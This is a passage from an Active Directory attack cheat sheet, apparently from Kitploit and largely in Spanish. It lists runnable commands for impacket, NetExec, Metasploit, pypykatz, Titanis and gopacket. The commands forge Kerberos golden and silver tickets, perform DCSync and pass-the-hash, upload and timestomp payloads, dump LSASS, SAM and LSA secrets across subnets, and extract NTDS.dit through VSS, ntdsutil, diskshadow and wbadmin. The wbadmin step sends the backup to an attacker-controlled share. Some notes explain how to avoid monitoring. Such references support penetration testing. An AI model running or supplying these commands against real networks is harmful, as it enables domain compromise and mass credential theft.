smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:some-email@example.com" \--username krbtgt # Step 2a — forge golden ticket (Metasploit) msf6 > use auxiliary/admin/kerberos/forge_ticket msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL domain_sid=S-1-5-21-... nthash= username=Administrator # Step 2b — forge silver ticket (Metasploit) msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL domain_sid=S-1-5-21-... nthash= username=Administrator spn=cifs/fileserver.domain.local # Step 2c — forge diamond ticket (Metasploit) msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL rhosts=192.168.1.1 user=jdoe password=Password123 nthash= username=Administrator # Step 2d — forge sapphire ticket (Metasploit) msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL rhosts=192.168.1.1 user=jdoe password=Password123 nthash= username=Administrator # Step 2e — forge golden ticket (impacket) ticketer.py -nthash -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL Administrator # Step 3 — use forged ticket with impacket (Titanis cannot load externally forged ccache files) export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/some-email@example.com "whoami" smbclient.py -k -no-pass DOMAIN/some-email@example.com # Silver ticket (impacket) — use with KRB5CCNAME + impacket ticketer.py -nthash -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py -k -no-pass DOMAIN/some-email@example.com # Titanis — non-functional with forged tickets currently; shown for API reference only # (-Tgt rejects impacket ccache due to NT_PRINCIPAL vs NT_SERVICE_INSTANCE name type; fix pending) # Wmi exec dc01 -ha 192.168.1.1 -UserName Administrator -UserDomain DOMAIN \ # -TicketCache Administrator.ccache "whoami" # Smb2Client ls \fileserver.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \ # -TicketCache Administrator.ccache # gopacket — golden ticket (requires krbtgt NT hash and domain SID) ticketer -nthash -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL Administrator export KRB5CCNAME=Administrator.ccache wmiexec -k -no-pass DOMAIN/some-email@example.com "whoami" # gopacket — silver ticket (service account NT hash) ticketer -nthash -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient -k -no-pass DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al Índice](#index) --- ## 3. SMB / Operaciones de archivos ### Listar recursos compartidos```bash # impacket smbclient.py -shares DOMAIN/jdoe:some-email@example.com # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --shares # smbclient smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123' # aiosmb — password asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com" # aiosmb — pass-the-hash asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:some-email@example.com" # aiosmb — Kerberos ccache asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache" # Titanis Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # gopacket — password smbclient -shares DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com ↑ Volver al Índice * * * ### Explorar / Listar Archivos```bash # impacket smbclient.py DOMAIN/jdoe:some-email@example.com # smbclient-ng smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10 # aiosmb — interactive client (ls, cd, get, put, services, sessions, whoami, tasks built-in) asmbclient "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com" # aiosmb — pass-the-hash asmbclient "smb+ntlm-nt://DOMAIN\jdoe:some-email@example.com" # Titanis Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 # gopacket — interactive SMB shell (ls, cd, get, put) smbclient DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al índice](#index) --- ### Descargar un archivo```bash # impacket smbclient.py DOMAIN/jdoe:some-email@example.com # smb: \> get Windows\System32\drivers\etc\hosts hosts.txt # smbclient smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \ -c 'get Windows\System32\drivers\etc\hosts hosts.txt' # aiosmb — password (full path embedded in URL after the host) asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com/C$/Windows/System32/drivers/etc/hosts" \ -o hosts.txt # aiosmb — pass-the-hash asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:some-email@example.com/C$/Windows/System32/drivers/etc/hosts" \ -o hosts.txt # Titanis Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \ -UserName jdoe -UserDomain DOMAIN -Password Password123 ↑ Volver al índice * * * ### Descargar con semántica de copia de seguridad Para archivos bloqueados o protegidos (NTDS.dit, SYSTEM hive, etc.).```bash # Titanis Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit -UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics root@kitploit:~ [↑ Volver al índice](#index) --- ### Subir un archivo```bash # impacket smbclient.py DOMAIN/jdoe:some-email@example.com # smb: \> put payload.exe Windows\Temp\payload.exe # smbclient smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \ -c 'put payload.exe Windows\Temp\payload.exe' # Titanis Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \ -UserName jdoe -UserDomain DOMAIN -Password Password123 ↑ Volver al Índice * * * ### Crear / Eliminar Directorios y Archivos```bash # impacket smbclient.py DOMAIN/jdoe:some-email@example.com # smb: > mkdir Windows\Temp\newdir # smb: > rmdir Windows\Temp\newdir # smb: > del Windows\Temp\file.txt # smbclient smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt' # Titanis Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123 root@kitploit:~ [↑ Volver al índice](#index) --- ### Listar named pipes```bash # impacket smbclient.py DOMAIN/jdoe:some-email@example.com # smb: \> cd \pipe\ # smb: \pipe\> ls # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe # Titanis Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123 ↑ Volver al índice * * * ### Pass the Hash — SMB```bash # impacket smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com # NetExec netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 # aiosmb asmbclient "smb+ntlm-nt://DOMAIN\jdoe:some-email@example.com" # Titanis Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 root@kitploit:~ [↑ Volver al índice](#index) --- ### SMB sobre SOCKS5```bash # impacket proxychains smbclient.py DOMAIN/jdoe:some-email@example.com # aiosmb — SOCKS5 (native, no proxychains needed) asmbclient "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com/?proxyhost=127.0.0.1&proxyport=1080" # aiosmb — SOCKS4 asmbclient "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080" # Titanis Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \ -Socks5 127.0.0.1:1080 ↑ Volver al Índice * * * ### Enumerar Archivos Abiertos / Sesiones```bash # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users # aiosmb — interactive client commands asmbclient "smb+ntlm-password://DOMAIN\jdoe:some-email@example.com" # smb> sessions # smb> files # Titanis Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # gopacket — enumerate sessions and open files netview DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com root@kitploit:~ [↑ Volver al Índice](#index) --- ### Timestomping remoto de archivos```bash # smbclient-ng smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \ touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe # Titanis Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \ -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00" ↑ Volver al índice * * * ### Enumeración de instantáneas VSS```bash # impacket — connect, switch to share, then enumerate snapshots smbclient.py DOMAIN/jdoe:some-email@example.com # smb: > use c$ # smb: \c$> list_snapshots # @GMT-2026.03.15-22.24.19 # smbclient-ng smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$ # Titanis Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 # gopacket — ⚠️ list_snapshots not implemented in gopacket smbclient (feature request pending) # Use impacket smbclient.py or native smbclient for this step root@kitploit:~ > **Acceso a la ruta de instantánea @GMT:** `@GMT-...` no es un directorio real — Windows SRV.SYS intercepta el token en la ruta CREATE de SMB2 y lo redirige a la instantánea de VSS. Las herramientas que navegan por rutas componente a componente (incluido `Smb2Client get`) obtendrán `STATUS_OBJECT_PATH_NOT_FOUND`. Utilice smbclient.py o el smbclient nativo, que envían la ruta completa en una sola solicitud CREATE: > > ```bash > # impacket smbclient.py — enumerate then pull via snapshot path > smbclient.py DOMAIN/jdoe:some-email@example.com > # smb: \> use c$ > # smb: \c$\> list_snapshots > # @GMT-2026.03.15-22.24.19 > # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit > > # native smbclient (Samba) > smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \ > -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit' > ``` [↑ Volver al índice](#index) --- ### Enumeración de flujos de datos alternativos (ADS) de NTFS```bash # smbclient smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \ -c 'allinfo Windows\Temp\file.txt' # smbclient-ng smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \ streams C$/Windows/Temp/file.txt # Titanis Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \ -UserName jdoe -UserDomain DOMAIN -Password Password123 ↑ Volver al índice * * * ### Enumeración de NIC del servidor```bash # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces # smbclient-ng smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics # Titanis Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 root@kitploit:~ [↑ Volver al índice](#index) --- ### Enumeración masiva de recursos compartidos```bash # NetExec netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares # aiosmb — async subnet scanner (faster than looping) # syntax: asmbscanner [global_opts] {file|brute|list} # results written to TSV files in output dir (-o dir, default: current dir) asmbscanner -w 5 --no-progress file \ "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24 # aiosmb — pass-the-hash asmbscanner -w 5 --no-progress file \ "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24 # Titanis while IFS= read -r host; do echo "=== $host ===" smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \ -Password Password123 2>/dev/null done < hosts.txt ↑ Volver al índice * * * ## 4\. Volcado de credenciales ### Análisis de Minidump LSASS (sin conexión)```bash # pypykatz — parse captured LSASS minidump pypykatz lsa minidump lsass.DMP # Output to JSON pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json # Extract Kerberos tickets to ccache files (loadable via Titanis -TicketCache) pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/ # Extract DPAPI masterkeys from LSASS memory pypykatz lsa minidump lsass.DMP -o dpapi_keys.json # pypykatz — live LSASS dump + parse remotely over SMB (no minidump file needed) pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:some-email@example.com" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:some-email@example.com" # NetExec — remote LSASS dump via SMB netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy root@kitploit:~ [↑ Back to Index](#index) --- ### Volcar Hashes SAM```bash # impacket secretsdump.py -sam DOMAIN/jdoe:some-email@example.com # Metasploit msf6 > use auxiliary/gather/windows_secrets_dump msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \ smbuser=jdoe smbpass=Password123 action=SAM # Metasploit — pass-the-hash msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \ smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \ action=SAM # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --sam # pypykatz — remote SAM dump via SMB pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:some-email@example.com" --sam pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:some-email@example.com" --sam # Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics # Titanis — backup operator (no admin required, -BackupSemantics still required) Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \ -Password Password123 -BackupSemantics ↑ Volver al índice * * * ### Volcado de secretos LSA```bash # impacket secretsdump.py -lsa DOMAIN/jdoe:some-email@example.com # Metasploit msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe smbpass=Password123 action=LSA # Metasploit — pass-the-hash msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 action=LSA # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa # pypykatz — remote LSA secrets dump via SMB pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:some-email@example.com" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:some-email@example.com" --lsa # Titanis — requires -BackupSemantics; without it → ACCESS_DENIED Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics root@kitploit:~ [↑ Volver al índice](#index) --- ### Volcar SAM + LSA juntos```bash # impacket secretsdump.py DOMAIN/jdoe:some-email@example.com # Metasploit — ALL action (SAM + LSA + cached creds) msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \ smbuser=jdoe smbpass=Password123 action=ALL # NetExec netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa # pypykatz — remote registry dump via SMB pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:some-email@example.com" pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:some-email@example.com" pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache" # pypykatz — remote LSASS dump + parse via SMB pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:some-email@example.com" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:some-email@example.com" # pypykatz — combined (SAM + LSA + LSASS in one call) pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:some-email@example.com" # Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics # gopacket — SAM + LSA + DCSync (password) secretsdump DOMAIN/jdoe:some-email@example.com # gopacket — pass-the-hash secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/some-email@example.com ↑ Volver al Índice * * * ### Volcado masivo de SAM / LSA en varios hosts```bash # NetExec netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa # NetExec — pass-the-hash netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa # pypykatz — combined SAM + LSA + LSASS across a host list while IFS= read -r host; do echo "=== $host ===" >> pypykatz_dump.txt pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}" >> pypykatz_dump.txt 2>&1 done < hosts.txt # Titanis while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt root@kitploit:~ [↑ Volver al Índice](#index) --- ### Volcado de NTDS mediante instantánea VSS > Solicita una instantánea VSS en el DC y lee NTDS.dit + el hive SYSTEM directamente de la instantánea. No usa replicación: útil cuando DCSync está bloqueado o supervisado. > **⚠️ Limitación de `-use-vss`:** el `-use-vss` de secretsdump usa smbexec internamente para ejecutar vssadmin y recopilar la salida. La creación del servicio smbexec requiere el nivel de autenticación SVCCTL `PacketPrivacy`, que secretsdump no negocia: la creación del servicio falla silenciosamente y el archivo de salida nunca se escribe. Usa `-use-remoteSSWMI -use-remoteSSWMI-NTDS` en su lugar, que evita SVCCTL por completo.```bash # impacket — VSS method (default exec via smbexec) # ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead secretsdump.py DOMAIN/Administrator:some-email@example.com -use-vss # impacket — VSS with explicit exec method secretsdump.py DOMAIN/Administrator:some-email@example.com -use-vss \ -exec-method wmiexec # impacket — VSS pass-the-hash secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \ DOMAIN/some-email@example.com -use-vss # impacket — VSS with output file + useful display flags secretsdump.py DOMAIN/Administrator:some-email@example.com -use-vss \ -outputfile ntds_dump -user-status -pwd-last-set # impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required) # Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally secretsdump.py DOMAIN/Administrator:some-email@example.com -use-remoteSSWMI # impacket — WMI shadow snapshot including NTDS.dit (DC-specific) # -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI secretsdump.py DOMAIN/Administrator:some-email@example.com \ -use-remoteSSWMI -use-remoteSSWMI-NTDS # impacket — WMI shadow pass-the-hash secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \ DOMAIN/some-email@example.com -use-remoteSSWMI -use-remoteSSWMI-NTDS # NetExec — VSS method netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss # NetExec — VSS pass-the-hash netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss # NetExec — VSS, enabled accounts only netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled # Titanis — enumerate existing snapshots Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123 # Retrieve files from snapshot — use token from enumsnapshots or vssadmin output smbclient.py DOMAIN/Administrator:some-email@example.com # list_snapshots C$ # get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit # get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM # native smbclient (Samba) smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \ -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit' smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \ -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM' # Parse offline secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL ↑ Volver al Índice * * * ### Volcado de NTDS vía IFM (ntdsutil) > Usa `ntdsutil ifm` para crear un conjunto Install-From-Media en el DC — una operación legítima de AD que produce una copia de NTDS.dit. Menos ruidoso que VSS en algunos entornos, ya que ntdsutil es una herramienta administrativa integrada de AD. > **⚠️ Limitación de ejecución WMI:** ntdsutil requiere `SeBackupPrivilege` y elevación completa del token en el proceso que lo ejecuta. Los procesos lanzados vía WMI no reciben un token completamente elevado, incluso para administrador de dominio — ntdsutil devuelve `Access is denied` independientemente de las credenciales. Si la ejecución basada en WMI falla, usa `secretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDS` o el LOLBin diskshadow en su lugar. El módulo `-M ntdsutil` de NetExec puede funcionar mediante su método de ejecución predeterminado en algunos objetivos.```bash # impacket — trigger ntdsutil via wmiexec, pull files, parse # ⚠️ ntdsutil must be called by full path when invoked via WMI: C:\Windows\System32\ntdsutil.exe wmiexec.py DOMAIN/Administrator:some-email@example.com "ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q" # Wait for completion, then retrieve smbclient.py DOMAIN/Administrator:some-email@example.com # smb: > get Windows\Temp\ifm\Active Directory\ntds.dit ntds.dit # smb: > get Windows\Temp\ifm\registry\SYSTEM SYSTEM # NetExec — ntdsutil module (handles exec + retrieval + parsing automatically) netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil # NetExec — ntdsutil module pass-the-hash netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil # Titanis — exec via WMI, retrieve via SMB, parse offline # ⚠️ WMI process token elevation issue; may return Access is denied. Use diskshadow or -use-remoteSSWMI-NTDS instead. Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 "C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q" Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit -UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM -UserName Administrator -UserDomain DOMAIN -Password Password123 # Clean up Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm" -UserName Administrator -UserDomain DOMAIN -Password Password123 # Parse offline secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL root@kitploit:~ [↑ Volver al índice](#index) --- ### Volcado de NTDS mediante wbadmin (Copia de seguridad de Windows Server) > `wbadmin` es un LOLBin integrado de Windows que usa VSS internamente para hacer copias de seguridad de archivos en un recurso compartido de red — sin almacenamiento local temporal, sin artefactos de ejecución de código más allá del trabajo de copia de seguridad. Funciona para Backup Operators (no se requiere DA). Requiere que el recurso compartido sea escribible desde el DC. > **⚠️ Requiere la característica de Windows `WindowsServerBackup`.** El binario wbadmin está presente como un stub incluso cuando la característica no está instalada — se colgará o fallará silenciosamente. Verifica que la característica esté activa antes de intentarlo: `Get-WindowsFeature WindowsServerBackup` (PowerShell) o `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Si `InstallState` no es `Installed`, este método no funcionará.```bash # Check feature state (run via WMI exec before proceeding) wmiexec.py DOMAIN/Administrator:some-email@example.com \ "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\"" # Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share # (run via wmiexec / scm / any exec method) wmiexec.py DOMAIN/Administrator:some-email@example.com \ "wbadmin start backup -backupTarget:\\\\\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet" # Titanis — exec via WMI Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \ "wbadmin start backup -backupTarget:\\\\\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet" # Step 2 — list backup versions to get the version identifier wmiexec.py DOMAIN/Administrator:some-email@example.com "wbadmin get versions" # Step 3 — recover the NTDS.dit from the backup wmiexec.py DOMAIN/Administrator:some-email@example.com \ "wbadmin start recovery -version: -items:C:\\Windows\\NTDS\\ntds.dit \ -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet" # Step 4 — also need SYSTEM hive wmiexec.py DOMAIN/Administrator:some-email@example.com \ "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM" # Step 5 — retrieve both files and parse offline Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \ -UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \ -UserName Administrator -UserDomain DOMAIN -Password Password123 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL ↑ Volver al Índice * * * ### Volcado de NTDS mediante Diskshadow > `diskshadow.exe` es un LOLBin integrado de Windows que interactúa directamente con VSS. Útil cuando `vssadmin` está bloqueado o monitoreado — diskshadow se marca con menos frecuencia. Los Backup Operators pueden usarlo sin DA completo. Requiere subir un archivo de script al DC. > **⚠️ El archivo de script debe tener finales de línea CRLF.** diskshadow.exe rechaza scripts con solo LF. Ejecuta `unix2dos shadow.dsh` antes de subirlo, o crea el archivo con `printf` usando `\r\n` explícitamente. > **⚠️ Nota sobre redirección en Titanis`Wmi exec`:** No incluyas `>` en el argumento del comando `Wmi exec` — Titanis analiza `>` de forma especial y la creación del proceso falla con `ERROR_FILE_NOT_FOUND`. Si necesitas capturar la salida, escribe un archivo `.bat` con la redirección, súbelo por separado y luego ejecuta el archivo bat.```bash # Step 1 — create diskshadow script locally (CRLF required) cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts # Step 2 — upload script to DC smbclient.py DOMAIN/Administrator:some-email@example.com # smb: > put shadow.dsh Windows\Temp\shadow.dsh # Titanis — upload Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh" -UserName Administrator -UserDomain DOMAIN -Password Password123 # Step 3 — execute diskshadow and copy NTDS.dit wmiexec.py DOMAIN/Administrator:some-email@example.com "diskshadow.exe /s C:\Windows\Temp\shadow.dsh" wmiexec.py DOMAIN/Administrator:some-email@example.com "cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" wmiexec.py DOMAIN/Administrator:some-email@example.com "cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM" # Titanis — exec (no > redirect in command arg; use cmd.exe /c for copy) Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 "diskshadow.exe /s C:\Windows\Temp\shadow.dsh" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 "cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 "cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM" # Step 4 — retrieve files smbclient.py DOMAIN/Administrator:some-email@example.com # smb: > get Windows\Temp\ntds.dit ntds.dit # smb: > get Windows\Temp\SYSTEM SYSTEM # Titanis — retrieve Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit -UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM -UserName Administrator -UserDomain DOMAIN -Password Password123 # Step 5 — clean up shadow and parse offline wmiexec.py DOMAIN/Administrator:some-email@example.com "diskshadow.exe /s - delete shadows volume trophy" secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files root@kitploit:~ [↑ Back to Index](#index) --- ### NTDS Dump mediante Kerb-Key-List (RODC) > Extrae claves Kerberos AES para todas las cuentas del dominio mediante el protocolo de replicación de claves RODC. Requiere la clave AES o el hash NT de una cuenta `krbtgt` de RODC (`krbtgt_XXXXX`). No utiliza DRSUAPI ni VSS — útil en entornos donde DCSync está bloqueado. Solo recupera claves Kerberos, no hashes NTLM directamente (aunque NTLM puede derivarse de las claves RC4).```bash # impacket — using RODC krbtgt AES key 